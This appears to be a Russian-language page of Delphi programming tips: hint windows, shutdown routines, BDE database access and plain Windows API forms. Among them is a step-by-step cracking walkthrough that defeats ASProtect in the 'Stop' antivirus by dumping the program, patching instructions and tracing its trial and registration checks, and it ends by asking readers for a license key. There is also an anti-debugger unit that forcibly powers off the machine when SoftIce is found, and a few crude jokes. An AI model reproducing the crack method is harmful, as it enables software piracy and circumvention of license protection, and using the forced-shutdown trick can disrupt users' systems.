LNew.rgbtGreen := round(G*ARatio + LBack.rgbtGreen*LMinusRatio);
LNew.rgbtRed := round(R*ARatio + LBack.rgbtRed*LMinusRatio);
LScan[X] := LNew;
end;
Борьба с SoftIce.
| Автор: Igor Nikolaev aKa The Sprite |
| Hardware это та часть компьютора, которую можно пнуть, если Shareware отказывается работать. |
Вот полный юнит против SOFTICE, при обнаружений отладчика перезагружает компьютер:
unit StopIce;
interface
implementation
uses Windows;
function IsSoftIce95Loaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\\.\SICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile <> INVALID_HANDLE_VALUE) then
begin
CloseHandle(hFile);
result := TRUE;
end;
end;
function IsSoftIceNTLoaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\\.\NTICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile <> INVALID_HANDLE_VALUE) then
begin
CloseHandle(hFile);
result := TRUE;
end;
end;
function WinExit(flags: integer): boolean;
function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var
tpPrev,
tp: TTokenPrivileges;
token: THandle;
dwRetLen: DWord;
begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID)
then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev,
dwRetLen);
end;
CloseHandle(token);
end;
begin
if SetPrivilege('SeShutdownPrivilege', true) then
begin
ExitWindowsEx(flags, 0);
SetPrivilege('SeShutdownPrivilege', False)
end;
end;
initialization
if IsSoftIce95Loaded or IsSoftIceNTLoaded then
begin
WinExit(EWX_SHUTDOWN or EWX_FORCE);
Halt;
end;
end.
|
Hint любой формы.
Подключите модуль CoolHint к любому проекту и пользуйтесь.
unit CoolHint;
interface
uses
Windows, Classes, Controls, Forms, Messages, Graphics;
type
TddgHintWindow = class(THintWindow)
private
FRegion: THandle;
procedure FreeCurrentRegion;
public
destructor Destroy; override;
procedure ActivateHint(Rect: TRect; const AHint: string); override;
procedure Paint; override;
procedure CreateParams(var Params: TCreateParams); override;
end;
implementation
destructor TddgHintWindow.Destroy;
begin
FreeCurrentRegion;
inherited;
Destroy;
end;
procedure TddgHintWindow.CreateParams(var Params: TCreateParams);
{ We need to remove the border created on the Windows API-level }
{ when the window is created. }
begin
inherited; // ???
CreateParams(Params);
Params.Style := Params.Style and not ws_Border; // remove border
end;
procedure TddgHintWindow.FreeCurrentRegion;
{ Regions, like other API objects, should be freed when you are }
{ through using them. Note, however, that you cannot delete a }
{ region which is currently set in a window, so this method sets }
{ the window region to 0 before deleting the region object. }
begin
if FRegion <> 0 then // if Region is alive...
begin
SetWindowRgn(Handle, 0, True); // set win region to 0
DeleteObject(FRegion); // kill the region
FRegion := 0; // zero out field
end;
end;
procedure TddgHintWindow.ActivateHint(Rect: TRect; const AHint: string);
{ Called when the hint is activated by putting the mouse pointer }
{ above a control. }
begin
with Rect do
Right := Right + Canvas.TextWidth('WWWW'); // add some slop
BoundsRect := Rect;
FreeCurrentRegion;
with BoundsRect do
{ Create a round rectangular region to display the hint window }
FRegion := CreateRoundRectRgn(0, 0, Width, Height, Width, Height);
if FRegion <> 0 then
SetWindowRgn(Handle, FRegion, True); // set win region
inherited;
ActivateHint(Rect, AHint); // call inherited
end;
procedure TddgHintWindow.Paint;
{ This method gets called by the WM_PAINT handler. It is }
{ responsible for painting the hint window. }
var
R: TRect;
begin
R := ClientRect; // get bounding rectangle
Inc(R.Left, 1); // move left side slightly
Canvas.Font.Color := clInfoText; // set to proper color
{ paint string in the center of the round rect }
DrawText(Canvas.Handle, PChar(Caption), Length(Caption), R, DT_NOPREFIX or DT_WORDBREAK or DT_CENTER or DT_VCENTER);
end;
var
OldHintClass: THintWindowClass;
function SetNewHintClass(AClass: THintWindowClass): THintWindowClass;
var
DoShowHint: Boolean;
begin
Result := HintWindowClass; // return value is old hint window
DoShowHint := Application.ShowHint;
if DoShowHint then
Application.ShowHint := False; // destroy old hint window
HintWindowClass := AClass; // assign new hint window
if DoShowHint then
Application.ShowHint := True; // create new hint window
end;
initialization
OldHintClass := SetNewHintClass(TddgHintWindow);
finalization
SetNewHintClass(OldHintClass);
end.
|
Выключить или перезагрузить, или завершить сеанс в любой версии Windows.
| Купите себе более мощный компьютер, чтобы быстрее перезагружаться. |
{1.}
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
// Example to shutdown Windows:
procedure TForm1.Button1Click(Sender: TObject);
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end;
// Example to reboot Windows:
procedure TForm1.Button1Click(Sender: TObject);
begin
MyExitWindows(EWX_REBOOT or EWX_FORCE);
end;
// Parameters for MyExitWindows()
{************************************************************************}
{2. Console Shutdown Demo}
program Shutdown;
{$APPTYPE CONSOLE}
uses
SysUtils,
Windows;
// Shutdown Program
// (c) 2000 NeuralAbyss Software
// www.neuralabyss.com
var
logoff: Boolean = False;
reboot: Boolean = False;
warn: Boolean = False;
downQuick: Boolean = False;
cancelShutdown: Boolean = False;
powerOff: Boolean = False;
timeDelay: Integer = 0;
function HasParam(Opt: Char): Boolean;
var
x: Integer;
begin
Result := False;
for x := 1 to ParamCount do
if (ParamStr(x) = '-' + opt) or (ParamStr(x) = '/' + opt) then Result := True;
end;
function GetErrorstring: string;
var
lz: Cardinal;
err: array[0..512] of Char;
begin
lz := GetLastError;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, lz, 0, @err, 512, nil);
Result := string(err);
end;
procedure DoShutdown;
var
rl, flgs: Cardinal;
hToken: Cardinal;
tkp: TOKEN_PRIVILEGES;
begin
flgs := 0;
if downQuick then flgs := flgs or EWX_FORCE;
if not reboot then flgs := flgs or EWX_SHUTDOWN;
if reboot then flgs := flgs or EWX_REBOOT;
if poweroff and (not reboot) then flgs := flgs or EWX_POWEROFF;
if logoff then flgs := (flgs and (not (EWX_REBOOT or EWX_SHUTDOWN or EWX_POWEROFF))) or
EWX_LOGOFF;
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
if not OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
hToken) then
Writeln('Cannot open process token. [' + GetErrorstring + ']')
else
begin
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then
begin
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
tkp.PrivilegeCount := 1;
AdjustTokenPrivileges(hToken, False, tkp, 0, nil, rl);
if GetLastError <> ERROR_SUCCESS then
Writeln('Error adjusting process privileges.');
end
else
Writeln('Cannot find privilege value. [' + GetErrorstring + ']');
end;
{ if CancelShutdown then
if AbortSystemShutdown(nil) = False then
Writeln(\'Cannot abort. [\' + GetErrorstring + \']\')
else
Writeln(\'Cancelled.\')
else
begin
if InitiateSystemShutdown(nil, nil, timeDelay, downQuick, Reboot) = False then
Writeln(\'Cannot go down. [\' + GetErrorstring + \']\')
else
Writeln(\'Shutting down!\');
end;
}
end;
// else begin
ExitWindowsEx(flgs, 0);
// end;
end;
begin
Writeln('Shutdown v0.3 for Win32 (similar to the Linux version)');
Writeln('(c) 2000 NeuralAbyss Software. All Rights Reserved.');
if HasParam('?') or (ParamCount = 0) then
begin
Writeln('Usage: shutdown [-akrhfnc] [-t secs]');
Writeln(' -k: don''t really shutdown, only warn.');
Writeln(' -r: reboot after shutdown.');
Writeln(' -h: halt after shutdown.');
Writeln(' -p: power off after shutdown');
Writeln(' -l: log off only');
Writeln(' -n: kill apps that don''t want to die.');
Writeln(' -c: cancel a running shutdown.');
end
else
begin
if HasParam('k') then warn := True;
if HasParam('r') then reboot := True;
if HasParam('h') and reboot then
begin
Writeln('Error: Cannot specify -r and -h parameters together!');
Exit;
end;
if HasParam('h') then reboot := False;
if HasParam('n') then downQuick := True;
if HasParam('c') then cancelShutdown := True;
if HasParam('p') then powerOff := True;
if HasParam('l') then logoff := True;
DoShutdown;
end;
end.
|
Апи ASProtect в Антивирусе Stop 4.0.36.
Автор: Hex Еще одна прога которая подвисает если ей BBS нормальную не сделать. Но тут апи нам жизнь портят. Зарегить конечно без ключа не выйдет, но поисследовать стоит.Дамп и импорт тут берется как в Actual Startup.
OEP: 0013F624 IATRVA: 001481C8 IATSize: 0000085C |
Но запустив такой дамп мы увидим синий экран смерти :( Глюк... И происходит он вот тут:
code:00636C3E mov eax, ds:dword_0_643E18 - тут 5 code:00636C43 push eax code:00636C44 mov eax, ds:dword_0_643E14 - тут FFFFFFFF code:00636C49 push eax code:00636C4A call GetProcAddress_0 code:00636C4F call eax |
Естественно GetProcAddress офигевает от такого имени функции и возвращает 0 в EAX, ну а потом CALL EAX завершает концертную программу :) Так не бывает :) Смотрим в упакованый вариант и видим что вместо call GetProcAddress в этом месте идет перенаправление в аспротект на вот такую процедуру:
0167:00460EE8 PUSH EBP 0167:00460EE9 MOV EBP,ESP 0167:00460EEB MOV EDX,[EBP+0C] - берет первый параметр GetProcAddress (т.е. 5) 0167:00460EEE MOV EAX,[EBP+08] - берет второй параметр GetProcAddress (т.е. FFFFFFFF) 0167:00460EF1 MOV ECX,[0046543C] 0167:00460EF7 MOV ECX,[ECX] - а тут в ECX тоже записывается FFFFFFFF 0167:00460EF9 CMP ECX,EAX 0167:00460EFB JNZ 00460F06 - прыжок не происходит 0167:00460EFD MOV EAX,[EDX*4+00465350] - в EAX записывается значение в соответствии с первым параметром 0167:00460F04 JMP 00460F0D 0167:00460F06 PUSH EDX 0167:00460F07 PUSH EAX 0167:00460F08 CALL KERNEL32!GetProcAddress 0167:00460F0D POP EBP 0167:00460F0E RET 0008 |
Ну естественно Imprec решил что это GetProcAddress, и нельзя сказать что он не прав. Во всех случаях когда имя функции не лежит по адресу FFFFFFFF, оно работает как GetProcAddress. Ну и ладно. Просто посмотрим что теперь сделает CALL EAX. Ничего интересно оно не сделает, а просто в EAX вернет ноль поэтому такой вызов (call eax) можно смело менять на xor eax,eax. Дальше будет еще один такой же вызов(636D6F) Getprocaddress но теперь уже нужно будет заменить call eax на mov al,1a. Синие экраны пропали. Теперь прога запускается, выводит окно триала, потом щелкает и закрывается. Это у нас апи аспротекта пакости делают. Находим в аспротекте табличку этих самых апи. Как это делать уже рассказывал, не забывайте что тут у нас ImageBase = 500000 а не 400000. Вот они по возрастанию:
62CA28 62CA4C 62CA5C 62CA6C 62CA98 62CAB4 62CAD8 63F01C 63F078 63F0AC |
Теперь запускаем запакованную прогу доходим до места где мы сделали дамп и ставим брейкпоинты на адреса этих апи. Теперь берем бумажку и ручку, будем записывать записывать чо там происходит. Я вот типа в табличку оформил. В столбике "Чо делает" я записываю общий смысл апи.
№ Срабатывания Адрес Чо делает 1 62CA98 mov ds:dword_0_643DCC, 0 mov ds:dword_0_643DD0, Адрес_Подписи 2 62CA4C mov ds:dword_0_643DDC, Адрес_Заглушки 3 62CA5C mov ds:dword_0_643DE0, Адрес_Заглушки 4 62CA28 mov ds:dword_0_643DD8, 4612E0 5 62CA5C mov ds:dword_0_643DE0, 4612B0 6 62CA4C mov ds:dword_0_643DDC, 46127C 7 62CA6C mov ds:byte_0_643DD4, 0 mov ds:dword_0_643DC8, 453861 8 62CAB4 mov ds:dword_0_643DE4, FFFFFFFE mov ds:dword_0_643DE8, 1E mov ds:dword_0_643DEC, 18 9 62CAD8 mov ds:dword_0_643DF0, FFFFFFFD mov ds:dword_0_643DF4, 0 mov ds:dword_0_643DF8, 0 10 63F0CA mov ds:off_0_643E20, 63F01C 11* 63F01C Выводит месагу о триале. |
* - Сработает не в протекторе. Адрес_Подписи - это я так называю адрес строки 12 байтной вот такого вида "3xEhLwAAImw=". Чувствую что она юзается для расшифровки кусков кода... а может я и не прав. В общем кто знает скажите что это? :) Адрес_Заглушки - тут оно просто записывает адрес процедуры из 1 команды = RET. Т.е. типа заглушка. Срабатывания 1,2,3,8,9 никакой информационной нагрузки не несут, просто какие-то данные пишет в секцию DATA. C 10 и 11 все просто: 10 - это GetApplicationRunFunction, 11 - это Executetrial. Как мы видим адрес 63F078 у нас тут не участвует. Если запихнуть этот адрес вместо 63F01C в GetApplicationRunFunction то мы увидим месагу "Expired". Так что это у нас типа RunExpired. А вот 4,5,6 интересные какие-то адреса записывают... Берем IDA дизасмим наш дамп и смотрим чо у нас там по адресам 643DD8, 643DDC, 643DE0. Видим вот такое:
data:00643DD8 dword_0_643DD8 dd 62CA0Ch ; DATA XREF: code:0062CA2E w data:00643DDC dword_0_643DDC dd 62CA38h ; DATA XREF: code:0062CA52 w data:00643DDC ; sub_0_62CB28+5 r data:00643DE0 dword_0_643DE0 dd 62CA38h ; DATA XREF: code:0062CA62 w data:00643DE0 ; sub_0_62CB50+5 r |
Данные читаются с этих мест по адресам sub_0_62CB28+5 и sub_0_62CB50+5. А там:
code:0062CB28 mov eax, offset sub_0_62CA38 code:0062CB2D cmp eax, ds:dword_0_643DDC code:0062CB33 jnz short loc_0_62CB3A code:0062CB35 call sub_0_62CA38 - Тут данные для ошибки и RaiseException |
Ух ты! В Eax записывается 62CA38 а дальше EAX сравнивается с данными по адресу ds:dword_0_643DDC а там у нас тоже 62CA38. А что у нас апи записывало в ds:dword_0_643DDC? - 46127C. Это проверка на наличие Аспротекта! Дальше еще одна проверка:
code:0062CB3A code:0062CB3A loc_0_62CB3A: ; CODE XREF: sub_0_62CB28+Bj code:0062CB3A cmp ds:byte_0_643DD4, 0 - эту нас делает вызов №7 code:0062CB41 jz short locret_0_62CB4D code:0062CB43 push 643DE1h code:0062CB48 call sub_0_62CAFC - Тут RaiseException code:0062CB4D code:0062CB4D locret_0_62CB4D: ; CODE XREF: sub_0_62CB28+19j code:0062CB4D retn |
Теперь он у нас работает в триальном режиме... А хотелось бы в зарегеном... Смотрим подозрительные строчки в IDA. И видим:
code:00636F63 mov edx, eax code:00636F65 mov ecx, offset aTrialVersion ; "Trial version" code:00636F6A mov eax, ds:dword_0_644224 code:00636F6F mov eax, [eax] code:00636F71 call sub_0_57B3E8 |
Смотрим выше...
code:00636D41 loc_0_636D41: ; CODE XREF: code:00636C7Bj code:00636D41 mov eax, ds:dword_0_644464 |
Еще выше..
code:00636C77 loc_0_636C77: ; CODE XREF: code:00636C63j code:00636C77 cmp dword ptr [ebp-8], 0 code:00636C7B jz loc_0_636D41 |
И вот наконец интересное место:
code:00636C3E mov eax, ds:dword_0_643E18 code:00636C43 push eax code:00636C44 mov eax, ds:dword_0_643E14 code:00636C49 push eax code:00636C4A call GetProcAddress_0 code:00636C4F call eax code:00636C51 mov edx, eax code:00636C53 lea eax, [ebp-8] code:00636C56 call unknown_libname_248 |
Хе-хе :) А я тут был... Значит это была не просто функция возвращающая 0... Зайдем в call unknown_libname_248. Там у нас:
code:00504E94 @@LStrFromPChar: |
P.S. Если порассматривать код дальше то станет видно что на самом деле проверка наличия аспротекта(62CB28) ведется неспроста, там проверяется наличие функции раскриптовки. Перед каждым закриптованным куском кода идет вызов этой самой "проверки". Дайте чтоли ключик - поисследовать :).
Использование API BDE для удаления записей.
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, BDE, ExtCtrls, DBCtrls, Grids, DBGrids, Db, DBTables, Buttons;
type
TMainForm = class(TForm)
AliasesList: TComboBox;
TablesList: TComboBox;
EmptyBtn: TBitBtn;
Label1: TLabel;
Label2: TLabel;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure AliasesListChange(Sender: TObject);
procedure EmptyBtnClick(Sender: TObject);
private
hDB: hDBIDB;
hCursor: hDBICur;
DBDesc: DBDesc;
TblDesc: TBLBaseDesc;
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.FormShow(Sender: TObject);
var Rslt: DBIResult;
begin
AliasesList.Items.Clear;
TablesList.Items.Clear;
hDB := nil;
try
DbiInit(nil); // Инициализация BDE
DbiOpenDatabaseList(hCursor);
repeat
Rslt := DbiGetNextRecord(hCursor, dbiNOLOCK, @DBDesc, nil);
if (Rslt <> DBIERR_EOF) then AliasesList.Items.Add(StrPas(DBDesc.szName));
until (rslt <> DBIERR_NONE);
DbiCloseCursor(hCursor);
except
on E: EDBEngineError do ShowMessage('Ошибка инициализации BDE');
end;
end;
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
finally
if hDB <> nil then DbiCloseDatabase(hDB); // Закрытие базы данных
DbiExit; // Закрытие сеанса работы с BDE
end
end;
procedure TMainForm.AliasesListChange(Sender: TObject);
begin
try
if hDB <> nil
then DbiCloseDatabase(hDB); // Закрытие базы данных
DbiOpenDatabase // Открытие базы данных
(
PChar(AliasesList.Text), // Псевдоним базы данных
nil, // Тип базы данных
dbiReadWrite, // Режим редактирования данных
dbiOpenShared, // Режим разделения данных
nil, // Пароль
0, // Число дополнительных параметров
nil, // Перечень полей для доп. параметров
nil, // Список доп. параметров
hDB // Дескриптор базы данных
);
DbiSetPrivateDir('c:\temp'); // Определение временного каталога
DbiOpenTableList(hDb, False, False, '*.DB', hCursor);
TablesList.Items.Clear;
TablesList.Clear;
while DbiGetNextRecord(hCursor, dbiNOLOCK, @TblDesc, nil) = dbiErr_None
do TablesList.Items.Add(TblDesc.szName);
DbiCloseCursor(hCursor);
except
on E: EDBEngineError do ShowMessage('Ошибка открытия базы данных');
end;
end;
procedure TMainForm.EmptyBtnClick(Sender: TObject);
begin
try
DbiEmptyTable(hDB, nil, PChar(TablesList.Text), '');
except
on E: EDBEngineError do ShowMessage('Неверно задана таблица');
end;
end;
end.
Скачать весь проект
Использование API BDE для представления данных.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, BDE, ExtCtrls;
type
TMainForm = class(TForm)
PriorBtn: TBitBtn;
Panel2: TPanel;
NextBtn: TBitBtn;
Label3: TLabel;
CountryEdit: TEdit;
Label1: TLabel;
CapitalEdit: TEdit;
procedure PriorBtnClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure NextBtnClick(Sender: TObject);
private
hDB: hDBIDB;
hCur: hDBICur;
CursProps: CurProps;
RecBuf: pByte;
FValue: array[0..255] of Char;
IsEmpty: Bool;
procedure OnBDEError;
public
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.OnBDEError;
var ErrInfo: dbiErrInfo; //Структура, содержащая информацию об ошибках
AStr: string;
begin
DbiGetErrorInfo(True, ErrInfo); //Функция возвращает информацию об ошибке
case ErrInfo.iError of
9733: AStr := 'Для создания записи недостаточно параметров ';
10024: AStr := 'Ошибка доступа к данным';
10245: AStr := 'База данных занята другим пользователем';
10038: AStr := 'Значение поля задано неверно';
11871: AStr := 'Несоответствие типов';
11959: AStr := 'В выражении отсутствует оператор GROUP BY';
else
AStr := 'Ошибочная операция с данными';
end;
ShowMessage(AStr);
end;
procedure TMainForm.FormShow(Sender: TObject);
begin
hDB := nil;
hCur := nil;
DbiInit(nil); // Инициализация системы BDE
DbiOpenDatabase // Открытие базы данных
(
'DBDEMOS', // Псевдоним базы данных
nil, // Тип базы данных
dbiReadWrite, // Режим редактирования данных
dbiOpenShared, // Режим разделения данных
nil, // Пароль
0, // Число дополнительных параметров
nil, // Перечень полей для доп. параметров
nil, // Список доп. параметров
hDB // Дескриптор базы данных
);
DbiSetPrivateDir('c:\temp'); // Определение временного каталога
DbiOpenTable // Открытие таблицы
(
hDB, // Дескриптор базы данных
PChar('COUNTRY'), // Название таблицы
PChar(szParadox), // Тип таблицы (только для локальных БД)
nil, // Название индекса (необязательный)
nil, // IndexTagName - только для dBASE
0, // 0 - использовать первичный индекс
dbiReadWrite, // Режим редактирования данных
dbiOpenShared, // Режим разделения данных
xltField, // Режим трансляции данных
False, // Признак одностороннего перемещения курсора
nil, // Дополнительные параметры
hCur // Дескриптор курсора таблицы
);
DbiGetCursorProps // Определение параметров курсора
(
hCur, // Дескриптор курсора таблицы
CursProps // Структура параметров курсора
);
GetMem(RecBuf, CursProps.iRecbufSize * SizeOf(Byte)); // Выделение памяти под буфер записи
DbiSetToBegin(hCur); // Установка курсора в начало набора данных
DbiGetNextRecord // Перемещение на первую запись
(
hCur, // Дескриптор курсора таблицы
dbiNoLock, // Режим ограничения доступа
RecBuf, // Буфер записи
nil // Параметры записи
);
DbiGetField // Получение значения поля
(
hCur, // Дескриптор курсора таблицы
1, // Номер поля в структуре таблицы
RecBuf, // Буфер записи
@FValue, // Переменная, в кторую передается значение
IsEmpty // Признак пустой ячейки
);
MainForm.CountryEdit.Text := FValue;
DbiGetField(hCur, 2, RecBuf, @FValue, IsEmpty);
MainForm.CapitalEdit.Text := FValue;
end;
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
finally
FreeMem(RecBuf); // Освобождение памяти буфера записи
DbiCloseCursor(hCur); // Закрытие курсора
DbiCloseDatabase(hDB); // Закрытие базы данных
DbiExit; // Закрытие сеанса работы с BDE
end
end;
procedure TMainForm.PriorBtnClick(Sender: TObject);
begin
try
if DbiGetPriorRecord(hCur, dbiNoLock, RecBuf, nil) = DBIERR_BOF
then PriorBtn.Enabled := False
else
begin
if not NextBtn.Enabled then NextBtn.Enabled := True;
DbiGetField(hCur, 1, RecBuf, @FValue, IsEmpty);
MainForm.CountryEdit.Text := FValue;
DbiGetField(hCur, 2, RecBuf, @FValue, IsEmpty);
MainForm.CapitalEdit.Text := FValue;
end;
except
OnBDEError;
end;
end;
procedure TMainForm.NextBtnClick(Sender: TObject);
begin
try
if DbiGetNextRecord(hCur, dbiNoLock, RecBuf, nil) = DBIERR_EOF
then NextBtn.Enabled := False
else
begin
if not PriorBtn.Enabled then PriorBtn.Enabled := True;
DbiGetField(hCur, 1, RecBuf, @FValue, IsEmpty);
MainForm.CountryEdit.Text := FValue;
DbiGetField(hCur, 2, RecBuf, @FValue, IsEmpty);
MainForm.CapitalEdit.Text := FValue;
end;
except
OnBDEError;
end;
end;
end.
Скачать весь проект
Используя WinAPI, скопировать содержимое строки в буфер обмена.
procedure CopyStringToClipboard(s: string); var hg: THandle; P: PChar; begin hg:=GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE, Length(S)+1); P:=GlobalLock(hg); StrPCopy(P, s); GlobalUnlock(hg); OpenClipboard(Application.Handle); SetClipboardData(CF_TEXT, hg); CloseClipboard; GlobalFree(hg); end; |
Построение формы на чистом API.
| Семь сходств Президента РФ и WINDOWS: 1) Работают, но постоянно глючат. 2) Никто не знает, чего от них ожидать. 3) Никому не нравятся, но вынуждены терпеть. 4) Никто не знает смысл их сообщений. 5) Имеют друзей по имени Билл. 6) Смена версий прошла в 2000 году. 7) Оба имеют кнопку "Пуск" (у одного в чемодане, у второго на рабочем столе). |
program PlainAPI;
uses
Windows,
Messages;
{$R *.res}
function PlainWinProc (hWnd: THandle; nMsg: UINT;
wParam, lParam: Cardinal): Cardinal; export; stdcall;
var
hdc: THandle;
ps: TPaintStruct;
begin
Result := 0;
case nMsg of
wm_lButtonDown:
MessageBox (hWnd, 'Mouse Clicked',
'Plain API', MB_OK);
wm_Paint:
begin
hdc := BeginPaint (hWnd, ps);
Ellipse (hdc, 100, 100, 300, 300);
EndPaint (hWnd, ps);
end;
wm_Destroy:
PostQuitMessage (0);
else
Result := DefWindowProc (hWnd, nMsg, wParam, lParam);
end;
end;
procedure WinMain;
var
hWnd: THandle;
Msg: TMsg;
WndClassEx: TWndClassEx;
begin
// initialize the window class structure
WndClassEx.cbSize := sizeOf (TWndClassEx);
WndClassEx.lpszClassName := 'PlainWindow';
WndClassEx.style := cs_VRedraw or cs_HRedraw;
WndClassEx.hInstance := HInstance;
WndClassEx.lpfnWndProc := @PlainWinProc;
WndClassEx.cbClsExtra := 0;
WndClassEx.cbWndExtra := 0;
WndClassEx.hIcon := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hIconSm := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hCursor := LoadCursor (0, idc_Arrow);;
WndClassEx.hbrBackground := GetStockObject (white_Brush);
WndClassEx.lpszMenuName := nil;
// register the class
if RegisterClassEx (WndClassEx) = 0 then
MessageBox (0, 'Invalid class registration',
'Plain API', MB_OK)
else
begin
hWnd := CreateWindowEx (
ws_Ex_OverlappedWindow, // extended styles
WndClassEx.lpszClassName, // class name
'Plain API Demo', // title
ws_OverlappedWindow, // styles
cw_UseDefault, 0, // position
cw_UseDefault, 0, // size
0, // parent window
0, // menu
HInstance, // instance handle
nil); // initial parameters
if hWnd = 0 then
MessageBox (0, 'Window not created',
'Plain API', MB_OK)
else
begin
ShowWindow (hWnd, sw_ShowNormal);
while GetMessage (Msg, 0, 0, 0) do
begin
TranslateMessage (Msg);
DispatchMessage (Msg);
end;
end;
end;
end;
begin
WinMain;
end.
|
Загрузить исходный код проекта.
Создание формы и кнопки на чистом API.
| Разговаривают в троллейбусе два студента-хаккера: - У меня вчера вечером мать сдохла. Я с ней всю ночь протрахался, а она так и не ожила... Старушка по соседству: - ВО ИЗВЕРГИ!!! |
program Plain2;
uses
Windows,
Messages;
const
id_Button = 100;
function PlainWinProc (hWnd: THandle; nMsg: UINT;
wParam, lParam: Cardinal): Cardinal; export; stdcall;
var
Rect: TRect;
begin
Result := 0;
case nMsg of
wm_Create:
// create button
CreateWindowEx (0, // extended styles
'BUTTON', // predefined class
'&Click here', // caption
ws_Child or ws_Visible or ws_Border
or bs_PushButton, // styles
0, 0, // position: see wm_Size
200, 80, // size
hwnd, // parent
id_Button, // identifier (not a menu handle)
hInstance, // application id
nil); // init info pointer
wm_Size:
begin
// get the size of the client window
GetClientRect (hWnd, Rect);
// move the button window
SetWindowPos (
GetDlgItem (hWnd, id_Button), // button handle
0, // zOrder
Rect.Right div 2 - 100,
Rect.Bottom div 2 - 40,
0, 0, // new size
swp_NoZOrder or swp_NoSize);
end;
wm_Command:
// if it comes from the button
if LoWord (wParam) = id_Button then
// if it is a click
if HiWord (wParam) = bn_Clicked then
MessageBox (hWnd, 'Button Clicked',
'Plain API 2', MB_OK);
wm_Destroy:
PostQuitMessage (0);
else
Result := DefWindowProc (hWnd, nMsg, wParam, lParam);
end;
end;
procedure WinMain;
var
hWnd: THandle;
Msg: TMsg;
WndClassEx: TWndClassEx;
begin
// initialize the window class structure
WndClassEx.cbSize := sizeOf (TWndClassEx);
WndClassEx.lpszClassName := 'PlainWindow';
WndClassEx.style := cs_VRedraw or cs_HRedraw;
WndClassEx.hInstance := HInstance;
WndClassEx.lpfnWndProc := @PlainWinProc;
WndClassEx.cbClsExtra := 0;
WndClassEx.cbWndExtra := 0;
WndClassEx.hIcon := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hIconSm := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hCursor := LoadCursor (0, idc_Arrow);;
WndClassEx.hbrBackground := GetStockObject (white_Brush);
WndClassEx.lpszMenuName := nil;
// register the class
if RegisterClassEx (WndClassEx) = 0 then
MessageBox (0, 'Invalid class registration',
'Plain API', MB_OK)
else
begin
hWnd := CreateWindowEx (
ws_Ex_OverlappedWindow, // extended styles
WndClassEx.lpszClassName, // class name
'Plain API Demo', // title
ws_OverlappedWindow, // styles
cw_UseDefault, 0, // position
cw_UseDefault, 0, // size
0, // parent window
0, // menu
HInstance, // instance handle
nil); // initial parameters
if hWnd = 0 then
MessageBox (0, 'Window not created',
'Plain API', MB_OK)
else
begin
ShowWindow (hWnd, sw_ShowNormal);
while GetMessage (Msg, 0, 0, 0) do
begin
TranslateMessage (Msg);
DispatchMessage (Msg);
end;
end;
end;
end;
begin
WinMain;
end.
|
Загрузить исходный код проекта.
Использование функций перечисления WinAPI.
